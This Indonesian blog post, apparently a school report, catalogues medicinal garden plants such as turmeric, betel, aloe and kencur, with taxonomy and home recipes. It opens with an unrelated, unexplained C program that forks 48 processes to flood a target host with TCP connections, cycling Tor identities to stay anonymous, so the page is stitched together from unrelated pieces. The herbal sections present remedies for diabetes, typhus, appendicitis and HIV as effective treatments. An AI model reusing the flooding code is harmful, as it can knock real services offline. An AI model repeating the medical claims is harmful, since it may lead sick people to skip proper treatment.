Jumat, 05 Desember 2014

☺☺☺☻☻♥ Tentang Apotek Hidup☺☺☺☻☻♥

#include #include #include #include #include #include #include #include #include #include #include int make_socket(char *host, char *port) { struct addrinfo hints, *servinfo, *p; int sock, r; // fprintf(stderr, “[Connecting -> %s:%s\n", host, port); memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r)); exit(0); } for(p = servinfo; p != NULL; p = p->ai_next) { if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { continue; } if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { close(sock); continue; } break; } if(p == NULL) { if(servinfo) freeaddrinfo(servinfo); fprintf(stderr, "No connection could be made\n"); exit(0); } if(servinfo) freeaddrinfo(servinfo); fprintf(stderr, "[Connected -> %s:%s]\n”, host, port); return sock; } void broke(int s) { // do nothing } #define CONNECTIONS 8 #define THREADS 48 void attack(char *host, char *port, int id) { int sockets[CONNECTIONS]; int x, g=1, r; for(x=0; x!= CONNECTIONS; x++) sockets[x]=0; signal(SIGPIPE, &broke); while(1) { for(x=0; x != CONNECTIONS; x++) { if(sockets[x] == 0) sockets[x] = make_socket(host, port); r=write(sockets[x], “\0″, 1); if(r == -1) { close(sockets[x]); sockets[x] = make_socket(host, port); } else // fprintf(stderr, “Socket[%i->%i] -> %i\n”, x, sockets[x], r); fprintf(stderr, “[%i: Voly Sent]\n”, id); } fprintf(stderr, “[%i: Voly Sent]\n”, id); usleep(300000); } } void cycle_identity() { int r; int socket = make_socket(“localhost”, “9050″); write(socket, “AUTHENTICATE \”\”\n”, 16); while(1) { r=write(socket, “signal NEWNYM\n\x00″, 16); fprintf(stderr, “[%i: cycle_identity -> signal NEWNYM\n", r); usleep(300000); } } int main(int argc, char **argv) { int x; if(argc !=3) cycle_identity(); for(x=0; x != THREADS; x++) { if(fork()) attack(argv[1], argv[2], x); usleep(200000); } getc(stdin); return 0;}Macam-Macam Apotek Hidup dan Manfaatnya Kata Pengantar Puji dan syukur kami panjatkan kehadirat Allah SWT, berkat limpahan rahmatnya, kami dapat menyelesaikan penulisan laporan tentang Apotek hidup ini. Kemudian ucapan terimakasih kami sampaikan kepada guru pembibing selaku guru mata pelajaran yang bersangkutan ( Bu Surdiana, SE ). Kami sadar bahwa dalam penulisan laporan ini masih jauh dari kata sempurna, oleh karena itu kami mengharapkan saran yang bersifat membangun dari para pembaca. Semoga laporan Tulisan ini dapat bermanfaat dalam proses belajar mengajar. Kendawangan 11 April 2011 Penulis   Apotek Hidup Apotik Hidup adalah istilah yang mengacu pada lahan yang ditanami berbagai macam tumbuhan yang dipercaya berkhasiat untuk mengobati beberapa macam penyakit secara tradisional. Lahan yang dibutuhkan untuk membuat apotek hidup tidak harus luas, tanaman yang ditanam pun tidak harus berwarna hijau. Pilihlah beberapa tanaman yang berkhasiat, yang bunganya juga bisa mempercantik taman. Sebab seringkali kita tidak menyadari bahwa bunga-bunga yang sedang kita nikmati kecantikannya juga memiliki khasiat yang sangat bermanfaat. Tumbuhan sangat banyak manfaatnya bagi kehidupan, karena disamping sebagai sumber makanan juga dapat sebagai obat. Kadang-kadang untuk menyembuhkan suatu penyakit tidak hanya dapat disembuhkan dengan pengobatan modern, tetapi juga disembuhkan dengan menggunakan dari tanaman obat-obat berkasiat (Widyawati, 1999:34). Tumbuhan obat tradisional, sangatlah penting dalam keluarga. Dengan menanam tanaman obat-obatan di pekarangan, selain dimanfaatkan untuk obat dapat juga ditata dengan baik sebagai penghias pekarangan. Pekarangan rumah menjadi tanpak asri dan penghuninya dapat memperoleh obat-obatan yang diperlukan untuk mejaga kesehatan. Pemanfaatan berbagai jenis tumbuhan pekarangan rumah merupakan salah satu gambaran masyarakat yang telah menyadari arti penting tumbuhan tersebut bagi penyembuhan penyakit, dengan adanya tumbuhan tradisional dapat digunakan sebagai obat tradisional yang khusus diramu untuk digunakan sesuai dengan jenis penyakit yang diderita. Berikut Merupakan beberapa Apotek Hidup beserta klasifikasinya. A. Kunyit Kunyit (Curcuma domestic) termasuk salah satu tanaman rempah dan obat, habitat asli tanaman ini meliputi wilayah Asia khususnya Asia Tenggara. Tanaman ini kemudian mengalami persebaran ke daerah Indo-Malaysia, Indonesia, Australia bahkan Afrika. Hampir setiap orang Indonesia dan India serta bangsa Asia umumnya pernah mengkonsumsi tanaman rempah ini, baik sebagai pelengkap bumbu masakan, jamu atau untuk menjaga kesehatan dan kecantikan. Ø Klasifikasi Kunyit Curcuma longa L. Sinonim Curcuma domestica Val. Nama umum Indonesia: Kunyit, koneng (Sunda), kunir (Jawa) Inggris: Curcuma, indian saffron, yellow ginger Melayu: Kunyit Vietnam: Khuong hoang, nghe Thailand: Kha min Pilipina: Dilaw Cina: yu jin, jiang huang Jepang: Taamerikku, ukon Kunyit Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Liliopsida (berkeping satu / monokotil) Sub Kelas: Commelinidae Ordo: Zingiberales Famili: Zingiberaceae (suku jahe-jahean) Genus: Curcuma Spesies: Curcuma longa L. Kerabat Dekat Temu Hitam, Temu Giring, Kunyit Mangga, Temu Putri, Temu Lawak, Temu Putih, Kunyit Merah Ø Manfaat Penyakit Yang Dapat Diobati : Diabetes melitus, Tifus, Usus buntu, Disentri, Sakit keputihan; Haid tidak lancar, Perut mulas saat haid, Memperlancar ASI; Amandel, Berak lendir, Morbili, Cangkrang (Waterproken); Pemanfaatan : 1. Diabetes mellitus Bahan: 3 rimpang kunyit, 1/2 sendok the garam Cara membuat: kedua bahan tersebut direbus dengan 1 liter air sampai mendidih, kemudian disaring. Cara menggunakan: diminum 2 kali seminggu 1/2 gelas. 2. Tifus Bahan: 2 rimpang kunyit, 1 bonggol sere, 1 lembar daun sambiloto Cara membuat: Semua bahan tersebut ditumbuk halus dan dipipis, kemudian ditambah 1 gelas air masak yang masih hangat, dan di saring. Cara mengunakan: diminum, dan dilakukan selama 1 minggu berturut-turut. 3. Usus buntu Bahan: 1 rimpang kunyit, 1 butir buah jeruk nipis, 1 potong gula kelapa/aren. Garam secukupnya. Cara membuat: Kunyit diparut dan jeruk nipis diperas, kemudian dicampur dengan bahan yang lain dan disedu dengan 1 gelas air panas, kemudian disaring. Cara menggunakan:diminum setiap pagi setelah makan, secara teratur. 4. Disentri Bahan: 1-2 rimpang kunyit, gambir dan kapur sirih secukupnya Cara membuat: semua bahan tersebut direbus dengan 2 gelas air sampai mendidih hingga tinggal 1 gelas kemudian disaring. Cara menggunakan:diminum dan diulangi sampai sembuh. 5. Sakit Keputihan Bahan: 2 rimpang kunyit, 1 genggam daun beluntas, 1 gagang buah asam, 1 potong gula kelapa/aren Cara membuat: semua bahan tersebut direbus dengan 1 liter air sampai mendidih, kemudian di saring. Cara menggunakan:diminum 1 gelas sehari. 6. Haid tidak lancar Bahan: 2 rimpang kunyit, 1/2 sendok Teh ketumbar, 1/2 sendok Teh biji pala, 1/2 genggam daun srigading. Cara membuat: semua bahan tersebut ditumbuk halus kemudian direbus dengan 1 liter air sampai mendidih, kemudian disaring Cara menggunakan:diminum 1 gelas sehari. 7. Perut mulas pada saat haid Bahan: 1 rimpang kunyit sebesar 4 cm, 1 rimpang jahe sebesar 4 cm, 1/2 rimpang kencur sebesar 4 cm Cara membuat: semua bahan tersebut dicuci bersih dan diparut untuk diambil airnya, kemudian di tambah dengan perasan jeruk nipis, diseduh dengan 1/2 gelas air panas dan disaring. Cara menggunakan:ditambah garam dan gula secukupnya dan diminum pada hari pertama haid. 8. Memperlancar ASI Bahan: 1 rimpang kunyit Cara membuat: kunyit ditumbuk sampai halus Cara menggunakan: dioleskan sebagai kompres diseputar buah dada 1 kali setiap 2 hari. 9. Cangkrang (Waterproken) Bahan: 2 rimpang kunyit, 1 genggam daun eceng, Cara Membuat: semua bahan tersebut ditumbuk sampai halus Cara menggunakan: dioleskan pada bagian yang kena cangkrang. 10. Amandel Bahan: 1 rimpang kunyit, 1 butir jeruk nipis, 2 sendok madu Cara membuat: Kunyit diparut, jeruk diperas untuk diambil airnya, kemudian dicampur dengan madu dan 1/2 gelas air hangat, diaduk sampai merata dan disaring Cara menggunakan:diminum secara rutin 2 hari sekali. 11. Berak lendir Bahan: 1 rimpang kunyit, 1 potong gambir, 1/4 sendok makan kapur sirih Cara membuat: semua bahan tersebut direbus bersama dengan 2 gelas air sampai mendidih hingga tinggal 1 gelas dan disaring. Cara menggunakan: diminum 2 kali sehari 1/2 gelas, pagi dan sore. 12. Morbili Bahan: 1 rimpang kunyit dan 1 rimpang dringo bengle Cara membuat: kedua bahan tersebut ditumbuk bersama sampai halus Cara menggunakan:dioleskan pada seluruh badan sebagai bedak Ø Komposisi dan Kandungan senyawa Kunyit Kunyit mengandung senyawa yang berkhasiat obat, yang disebut kurkuminoid yang terdiri dari kurkumin, desmetoksikumin dan bisdesmetoksikurkumin dan zat- zat manfaat lainnya Kandungan Zat : Kurkumin : R1 = R2 = OCH3 10 % Demetoksikurkumin : R1 = OCH3, R2 = H 1 - 5 % Bisdemetoksikurkumin: R1 = R2 = H sisanya Minyak asiri / Volatil oil (Keton sesquiterpen, turmeron, tumeon 60%, Zingiberen 25%, felandren, sabinen, borneol dan sineil ) Lemak 1 -3 %, Karbohidrat 3 %, Protein 30%, Pati 8%, Vitamin C 45-55%, Garam-garam Mineral (Zat besi, fosfor, dan kalsium) sisanya. B. Sirih Tanaman merambat ini bisa mencapai tinggi 15 m. Batang sirih berwarna coklat kehijauan,berbentuk bulat, beruas dan merupakan tempat keluarnya akar. Daunnya yang tunggal berbentuk jantung, berujung runcing, tumbuh berselang-seling, bertangkai, dan mengeluarkan bau yang sedap bila diremas. Panjangnya sekitar 5 - 8 cm dan lebar 2 - 5 cm. Bunganya majemuk berbentuk bulir dan terdapat daun pelindung ± 1 mm berbentuk bulat panjang. Pada bulir jantan panjangnya sekitar 1,5 - 3 cm dan terdapat dua benang sari yang pendek sedang pada bulir betina panjangnya sekitar 1,5 - 6 cm dimana terdapat kepala putik tiga sampai lima buah berwarna putih dan hijau kekuningan. Buahnya buah buni berbentuk bulat berwarna hijau keabu-abuan. Akarnya tunggang, bulat dan berwarna coklat kekuningan. Ø Klasifikasi Sirih Piper betle L. Indonesia: Sirih Pilipina: Ikmo Sirih Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Magnoliopsida (berkeping dua / dikotil) Sub Kelas: Magnoliidae Ordo: Piperales Famili: Piperaceae (suku sirih-sirihan) Genus: Piper Spesies: Piper betle L. Kerabat Dekat Kiseureuh, Sirih Hutan, Kemekes, Kemukus, Mrico Lolot, Lada, Cabe Jawa, Cabean, Daun Wati, Sirih Merah Ø Manfaat Sirih Minyak atsiri dari daun sirih mengandung minyak terbang (betIephenol), seskuiterpen, pati, diatase, gula dan zat samak dan chavicol yang memiliki daya mematikan kuman, antioksidasi dan fungisida, anti jamur. Sirih berkhasiat menghilangkan bau badan yang ditimbulkan bakteri dan cendawan. Daun sirih juga bersifat menahan perdarahan, menyembuhkan luka pada kulit, dan gangguan saluran pencernaan. Selain itu juga bersifat mengerutkan, mengeluarkan dahak, meluruhkan ludah, hemostatik, dan menghentikan perdarahan. Kegunaan : Batuk, Sariawan, Bronchitis, Jerawat, Keputihan, Sakit gigi karena berlubang (daunnya), Demam berdarah, Bau mulut, Haid tidak teratur, Asma, Radang tenggorokan (daun dan minyaknya), Gusi bengkak (getahnya) Pemakaian Luar Eksim, Luka bakar, Koreng (pyodermi), Kurap kaki, Bisul, Mimisan, Sakit mata, Perdarahan gusi, Mengurangi produksi ASI, Menghilangkan gatal Peringatan !!! Mengunyah sirih terlalu banyak dan dalam rentan waktu yang lama telah dikaitkan dengan penyakit kanker mulut dan tenggorokan squamous cell carcinoma. C. Lidah Buaya Menurut beberapa sumber, lidah buaya (Aloe vera L) pertama kali ditemukan pada tahun 1500 SM. Lebih dari 200 species tersebar diseluruh belahan bumi, mulai dari benua Afrika yang kering dan tandus hingga daratan Asia yang beriklim tropis. Tanaman ini memang gampang tumbuh, dengan media tanah berhumus campur pasir, cukup sinar matahari dan drainase baik, lidah buaya dapat tumbuh subur. Ø Klasifikasi Lidah Buaya Aloe ferox Miller Nama umum Indonesia: Lidah buaya Inggris: Aloe Cina: lu hui Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Liliopsida (berkeping satu / monokotil) Ordo: Asparagales Famili: Asphodelaceae Genus: Aloe Spesies: Aloe ferox Miller Ø Manfaat Lidah Buaya Penyembuh Aneka Penyakit Di dalam pengobatan moderen, lidah buaya mulai terangkat ketika seorang warga Amerika di tahun 1940 menemukan manfaat dari gel lidah buaya. Menurutnya gel dari lidah buaya dapat melindungi kulit tubuh dari sengatan sinar matahari. Memperlambat Kerja Virus HIV Para peneliti dari luar menemukan manfaat gel lidah buaya dapat berfungsi sebagai sistem pertahanan tubuh. Diperkirakan zat ini bisa menghambat kerja virus HIV atau menstimulasi sistem kerja kekebalan tubuh penderita AIDS. Memperbaiki Sistem Pencernaan Menurut pakar dari IPB Ir Sutrisno Koswara, mengkonsumsi lidah buaya dapat membantu memperlancar sistem pencernaan, ini disebabkan manfaat dari zat Aloemoedin dan Aloebarbadiod, senyawa yang termasuk golongan antrakuinon. Antiseptik dan Antibiotik Alami Kandungan Saponin dalam lidah buaya mempunyai kemampuan membunuh kuman dan senyawa antrakuinon dapat menghilangkan rasa sakit dan antibiotik. Zat ini juga mampu merangsang terbentuknya sel baru pada kulit. D. Jeruk Nipis Di antara 1300 jenis jeruk, jeruk nipis atau yang dalam bahasa ilmiahnya disebut Citrus Aurantium, memiliki manfaat yang paling banyak. Jeruk nipis merupakan bahan dasar ramuan obat kecantikan tradisional di Indonesia. Hampir semuanya mencantumkan nama jeruk nipis sebagai bahan dasar, baik buah maupun daunnya. Ø Klasifikasi Jeruk Nipis Citrus aurantifolia (Christm.) Swing Nama umum Indonesia: Jeruk nipis, jeruk mipis, jeruk pecel Inggris: Lime Melayu: Limau nipis, limau asam Vietnam: Chanh vo mong, chanh ta Thailand: Manao Pilipina: Dayap Jeruk Nipis Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Magnoliopsida (berkeping dua / dikotil) Sub Kelas: Rosidae Ordo: Sapindales Famili: Rutaceae (suku jeruk-jerukan) Genus: Citrus Spesies: Citrus aurantifolia (Christm.) Swing Kerabat Dekat Jeruk Sukade, Jeruk Purut, Jeruk Asam, Jeruk Bali, Jeruk Garut, Jeruk Mandarin, Jeruk Manis, Jeruk Pepaya, Munteh Intalum, Jeruk Tangan, Jeruk Lemo, Jeruk Cina, Jeruk India, Jeruk Kasturi Ø Manfaat Rasa jeruk nipis yang masam bisa membantu membersihkan nikotin yang terdapat pada gigi dan mulut orang yang suka merokok. Di Indonesia jeruk nipis sering dimanfaatkan untuk mengatasi berbagai macam penyakit seperti disentri, sembelit, ambeien, haid tak teratur, difteri, jerawat, kepala pusing atau vertigo, suara serak, batuk, bau badan, menambah nafsu makan, mencegah rambut rontok, ketombe, flu, demam, terlalu gemuk, amandel, penyakit anyang-anyangan (kencing terasa sakit), mimisan, dan radang hidung. Jeruk nipis juga efektif mencegah timbulnya batu ginjal. Jeruk nipis mengandung sitrat yang tinggi, sementara banyak penderita batu ginjal memiliki kadar sitrat yang rendah. Kandungan sitrat jeruk nipis lokal (citrus aurantifolia swingle yang bulat) sepuluh kali lebih besar dibanding kandungan sitrat pada jeruk keprok atau enam kali lipat dari jeruk manis. Kandungan sitratnya mencapai 55,6 gram per kilogramnya. Memutihkan Kulit Menusia memiliki warna kulit yang tidak sama satu sama lain. Selain faktor genetik, ada juga beberapa faktor lain, seperti iklim dan cuaca. Kulit wajah adalah bagian yang paling penting, khususnya bagi kaum wanita. Karena itu, kaum wanita melakukan beberapa upaya untuk membuat kulit wajah menjadi putih bersih dan menarik. Ø Komposisi Dan Senyawa Kimia Jeruk Nipis Secara umum, buah jeruk kaya akan vitamin dan mineral yang baik untuk kesehatan tubuh. Dalam kandungan 100 g jeruk nipis, terdapat kalori 51 kal, protein 0,9 g, lemak 0,2 g, karbohidrat 11,4 g, mineral 0,5 g, kalsium 33 mg, fosfor 23 mg, besi 0,4 mg dan asam askorbat 49 mg. Selain memiliki kandungan vitamin C yang tinggi, jeruk nipis juga mengandung asam sitrat, asam amino (triptofan, lisin), minyak atsiri (sitral, limonen, felandren, lemon kamfer, kadinen, gerani-lasetat, linali-lasetat, aktilaldehid, nildehid) damar, glikosida, asam sitrun, lemak, kalsium, fosfor, besi, belerang vitamin B1 dan C. Sedangkan daun, buah dan bunganya mengandung minyak terbang. E. Jahe Ø Klasifikasi Jahe Zingiber officinale Rosc. Nama umum Indonesia: Jahe Inggris: Ginger Melayu: Helia, halia, aliya Vietnam: Cay gung Thailand: Khing Pilipina: Luya, laya, giya Cina: Jiang Jepang: Shouga Jahe Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Liliopsida (berkeping satu / monokotil) Sub Kelas: Commelinidae Ordo: Zingiberales Famili: Zingiberaceae (suku jahe-jahean) Genus: Zingiber Spesies: Zingiber officinale Rosc. Kerabat Dekat Lempuyang Pahit, Lempuyang Wangi, Bengle, Lempuyang Gajah, Balakatoa F. Temu Lawak Ø Klasifikasi Temu Lawak Curcuma xanthorrhiza Roxb. Nama umum Indonesia: Temu Lawak, temulawak Thailand: Wan chak mot luk Cina: Shu gu jiang huang Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Liliopsida (berkeping satu / monokotil) Sub Kelas: Commelinidae Ordo: Zingiberales Famili: Zingiberaceae (suku jahe-jahean) Genus: Curcuma Spesies: Curcuma xanthorrhiza Roxb. Kerabat Dekat Temu Hitam, Temu Giring, Kunyit, Kunyit Mangga, Temu Putri, Temu Putih, Kunyit Merah Ø Manfaat Temu Lawak 1) Mengobati bau badan yang kurang sedap Ambillah sebuah rimpang temu lawak. Parut dan rebus dengan air 1:1. Dinginkan terlebih dahulu sebelum diminum. 2) Membersihkan darah Rimpang temu lawak diiris tipis-tipis, lalu dijemur hingga kering. Rimpang ini diseduh dengan air hangat, kemudian diminum seperti teh. Agar tidak terlalu pahit, sewaktu meminumnya dapat dicampur dengan gula merah. 3) Penyakit eksim Siapkan rimpang temu lawak sebesar telur ayam dan asam kawak sebesar telur merpati. Masak bahan tersebut dengan 2 gelas air dan ditambahkan sedikit gula aren. Biarkan hingga mendidih dan aimya tinggal 1 gelas saja. Saring aimya dan diminum selagi hangat. Pengobatan ini dilakukan setiap hari selama sebulan. 4) Mengobati penyakit kuning (gangguan pada hati/lever), mengobati demam malaria, dan sembelit serta memperbanyak ASI Rimpang diparut dan diperas airnya, kemudian diminum. Dapat juga dengan minum air rebusan rimpang temu lawak yang kering. 5) Badan yang terlalu capek karena kebanyakan bekerja atau sehabis jatuh sakit Ambil dan bersihkan rimpang temu lawak sebanyak 50 g. Parut rimpang sampai halus dan tambahkan air secukupnya, kemudian direbus. Setelah air mendidih, didinginkan, lalu diminum. Lakukan hal ini 2 kali sehari, cukup 1 gelas. Bila perlu dapat ditambahkan madu atau air gula aren agar ramuan lebih enak dan berkhasiat. Peringatan : penderita sakit ginjal sebaiknya tidak meminum sari temu lawak mentah karena dapat berbahaya. G. Jambu Biji Dampak Diare yang telah akut cukup fatal, yaitu kematian. Angka kematian akibat diare setiap tahun mencapai 175.000 jiwa, terdiri atas balita (135.000 jiwa) serta usia lima tahun lebih termasuk dewasa (40.000). Ada 117 jenis tanaman yang sering digunakan masyarakat Indonesia, terutama di pedesaan, untuk mengusir diare. Namun setelah diteliti, hanya 21 jenis yang efektif, antara lain jambu biji, daun salam, lempuyang gajah, dan daun katuk. Tanaman-tanaman ini mengandung zat aktif yang mampu menghentikan diare, seperti minyak asiri, alkaloid, flavonoid, tanin, dan pektin. Zat aktif ini juga berperan sebagai antibakteri, absorbent (penetral racun), astrengent (melapisi dinding mukosa usus terhadap rangsangan isi usus), dan antispasmolitik (kontraksi usus). Ø Klasifikasi Jambu Batu Psidium guajava L. Nama umum Indonesia: Jambu batu, Jambu biji, Jambu kluthuk (Jw), giawas (Papua) Inggris: guava Melayu: Jambu Batu, Jambu Biji Vietnam: Oi Thailand: Farang Pilipina: Bayabas, Guayabas, Kalimbahin, B Cina: Fan shi liu gan Jambu Batu Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Magnoliopsida (berkeping dua / dikotil) Sub Kelas: Rosidae Ordo: Myrtales Famili: Myrtaceae (suku jambu-jambuan) Genus: Psidium Spesies: Psidium guajava L. Ø Manfaat Jambu Biji Menurut penelitian, rebusan daun jambu biji dapat menghambat pertumbuhan bakteri Escherichia colli dan Staphylococcus aureus, yang digunakan sebagai dasar penggunaan daun jambu biji sebagai obat diare akibat infeksi (Yuniarti, 1991). Zat aktif dalam daun jambu yang dapat mengobati diare adalah tanin. Daun kering yang digiling halus mengandung tanin sekitar 17,4 persen. Makin halus, makin tinggi kandungan taninnya. Senyawa itu bekerja sebagai astrengent, penyerap racun, dan bisa menggumpalkan protein. Jika Anda atau anggota keluarga mengalami diare, segera lakukan tindakan berikut. Rebuslah 15-30 gra, daun jambu biji kering ke dalam 150-300 ml air. Patokannya adalah setiap satu gram daun kering direbus dalam 10 ml air. Lama perebusan sekitar 15 menit, dihitung sejak air mendidih. Hasil rebusan kemudian disaring, dan airnya diminum sebagai obat diare. Apabila ingin memanfaatkannya dalam bentuk segar, diperlukan 12 lembar daun segar, lantas dicuci bersih dan ditumbuk halus. Tambahkan setengah cangkir air masak dan garam secukupnya Ramuan ini kemudian diperas dan disaring. Airnya hasil perasan ini langsung diminum. Agar rasanya lebih sedap, boleh juga ditambahkan madu. H. Kencur Ø Klasifikasi Kencur Kaempferia galanga L. Nama umum Indonesia: Kencur, cikur (Snd) Melayu: Cikur, cekor Pilipina: Dusol Cina: shan nai Kencur Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Liliopsida (berkeping satu / monokotil) Sub Kelas: Commelinidae Ordo: Zingiberales Famili: Zingiberaceae (suku jahe-jahean) Genus: Kaempferia Spesies: Kaempferia galanga L. Kerabat Dekat Kunci Pepet, Pulkra, Kunir Putih, Kencur Hutan Ø Manfaat Kencur v Radang Lambung § Bahan: 2 rimpang kencur sebesar ibu jari. § Cara membuat: kencur dikuliti sampai bersih dan dikunyah; § Cara menggunakan: ditelan airnya, ampasnya dibuang, kemudian minum 1 gelas air putih, dan diulangi sampai sembuh. v Radang Anak Telinga § Bahan: 2 rimpang kencur sebesar ibu jari dan ½ biji buah pala. § Cara membuat: kedua bahan tersebut ditumbuk halus dan diberi 2 sendok air hangat; § Cara menggunakan: dioleskan/dibobokkan di seputar hidung. v Influenza pada bayi § Bahan: 1 rimpang kencur sebesar ibu jari dan 2 lembar daun kemukus (lada berekor/ Cubeb) § Cara membuat : kedua bahan tersebut ditumbuk halus, kemudian ditambah beberapa sendok air hangat. § Cara menggunakan: dioleskan/dibobokkan di seputar hidung. v Masuk Angin § Bahan: 1 rimpang kencur sebesar ibu jari dan garam secukupnya. § Cara membuat: kencur dikuliti bersih. § Cara menggunakannya: kencur dimakan dengan garam secukupnya, kemudian minum 1 gelas air putih. Dapat dilakukan 2 kali sehari. v Sakit Kepala § Bahan: 2-3 lembar daun kencur. § Cara membuat: daun kencur ditumbuk sampai halus. § Cara menggunakannya: dioleskan (sebagai kompres/pilis) pada dahi. v Batuk a. Bahan: 1 rimpang kencur sebesar ibu jari dan garam secukupnya. § Cara membuat : kencur diparut, kemudian ditambah 1 cangkir air hangat, diperas dan disaring. § Cara menggunakan : diminum dengan ditambah garam secukupnya. b. Bahan : 1 rimpang kencur sebesar ibu jari. § Cara membuat : kencur dikuliti sampai bersih dan dikunyah; § Cara menggunakan : airnya ditelan, ampasnya dibuang. Dilakukan setiap pagi secara rutin. v Diare a. Baan : 2 rimpang kencur sebesar ibu jari dan garam secukupnya. § Cara membuat : kencur diparut, kemudian ditambah 1 cangkir air hangat, diperas dan disaring. § Cara menggunakan : diolsekan pada perut sebagai bedak. b. Bahan : 2 rimpang kencur sebesar ibu jari dan garam secukupnya. § Cara membuat : kencur diparut, kemudian ditambah garam secukupnya. § Cara menggunakan : dioleskan pada perut sebagai bedak. v Menghilangkan Darah Kotor § Bahan : 4 rimpang kencur sebesar ibu jari, 2 lembar daun trengguli, 2 biji cengkeh kering, adas pulawaras secukupnya. § Cara membuat : semua bahan tersebut direbus bersama dengan 1 liter air sampai mendidih kemudian disaring. § Cara menggunakan : diminum 2 kali sehari secara teratur. v Memperlancar haid § Bahan : 2 rimpang kencur sebesar ibu jari, 1 lembar daun trengguli, 1 biji buah cengkeh tua, adas pulawaras secukupnya. § Cara membuat : kencur dicincang, kemudian dicampur dengan bahan lain dan direbus bersama dengan 3 gelas air sampai mendidih hingga tinggal 2 gelas, kemudian disaring. § Cara menggunakan : diminum sekali sehari 2 cangkir. v Mata Pegal § Bahan : 1 potong rimpang § Cara membuat : kencur dibelah menjadi 2 bagian. § Cara menggunakan : permukaan yang masih basah dipakai untuk menggosok pelupuk mata. v Menghilangkan Lelah. § Bahan : 1 rimpang besar kencur, 2 sendok beras digoreng tanpa minyak (sangan) dan 1 biji cabai merah. § Cara membuat : semua bahan tersebut direbus bersama dengan 2 gelas air sampai mendidih hingga tinggal 1 gelas, kemudian disaring. § Cara menggunakan : diminum sekaligus dan diulangi sampai sembuh. Untuk orang pria dapat ditambah dengan 1 potong lengkuas dan tepung lada secukupnya. I. Kumis Kucing Tumbuhan berbatang basah, tinggi sampai 1,5 m, daunnya berbentuk bulat telur, bunganya berwarna putih seperti kumis kucing, batangnya berbentuk empat persegi dan mudah di patahkan Ø Klasifikasi Kumis Kucing Orthosiphon stamineus Benth. Sinonim Orthosiphon aristatus (Blume). Nama umum Indonesia: Kumis kucing, kumis ucing, remujung (Jawa) Inggris: Java tea Melayu: Misai kucing Thailand: Yaa nuat maeo Pilipina: kabling gubat Cina: Mao xu cao Kumis Kucing Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Magnoliopsida (berkeping dua / dikotil) Sub Kelas: Asteridae Ordo: Lamiales Famili: Lamiaceae Genus: Orthosiphon Spesies: Orthosiphon stamineus Benth. Ø Manfaat Kumis Kucing Khasiat: Anti inflamasi; Diuretik Susah kencing Daun kumis kucing segar 1/4 genggam; Air 1 gelas, Direbus hingga memperoleh cairan 1/2 gelas, Diminum setiap hari 2 kali dan tiap kali minum 1/2 gelas Batu ginjal Herba kumis kucing 6 g; Herba meniran 7 pohon; Air 110 ml, Dibuat infus, Diminum 2 kali sehari; tiap kali minum 100 ml Kencing manis, Daun kumis kucing 20 helai; Daun sambiloto 20 helai; Air 110 ml, Dibuat infus, Diminum 1 kali sehari; 100 ml Sakit pinggang Daun kumis kucing segar 1 genggam; Kulit batang pepaya seluas 4 cm2; Air 110 ml, Dibuat infus, Diminum 1 kali sehari 100 ml J. Serai Serai merupakan salah satu tanaman dengan banyak kasiat, selain dimanfaatkan juga untuk bumbu dapur. Nama ilmiahnya Cymbopogon nardus. Di daerah mengenalnya dengan nama Sereh, Sere, Sarai, Sorai, Sange-sange, Belangkak, Senggalau, Salai, See, Nau Sina, Bu Muke, Tonti, Sare, Hisa, Isa.. dan mungkin masih banyak lg nama daerah lainnya. Ø Klasifikasi Serai Cymbopogon citratus (DC.) Stapf Nama umum Indonesia: Serai sayur, serei gulai, sereh Inggris: Lemon grass, citronella grass Vietnam: Sa Thailand: Ta khrai Pilipina: Tanglad Klasifikasi Kingdom: Plantae (Tumbuhan) Subkingdom: Tracheobionta (Tumbuhan berpembuluh) Super Divisi: Spermatophyta (Menghasilkan biji) Divisi: Magnoliophyta (Tumbuhan berbunga) Kelas: Liliopsida (berkeping satu / monokotil) Sub Kelas: Commelinidae Ordo: Poales Famili: Poaceae (suku rumput-rumputan) Genus: Cymbopogon Spesies: Cymbopogon citratus (DC.) Stapf Ø Manfaat Serai 1) Siapkanlah 600 g batang serai segar berikut akar. Rebus dengan air. Air rebusan digunakan untuk mandi. Mandilah saat air masih hangat. Kasiat: mengatasi badan pegal 2) Siapkan 600 g serai segar dan keringkan. Setelah itu, rebuslah dengan air secukupnya. Minum air rebusan serai ini. Kasiat: meredakan batuk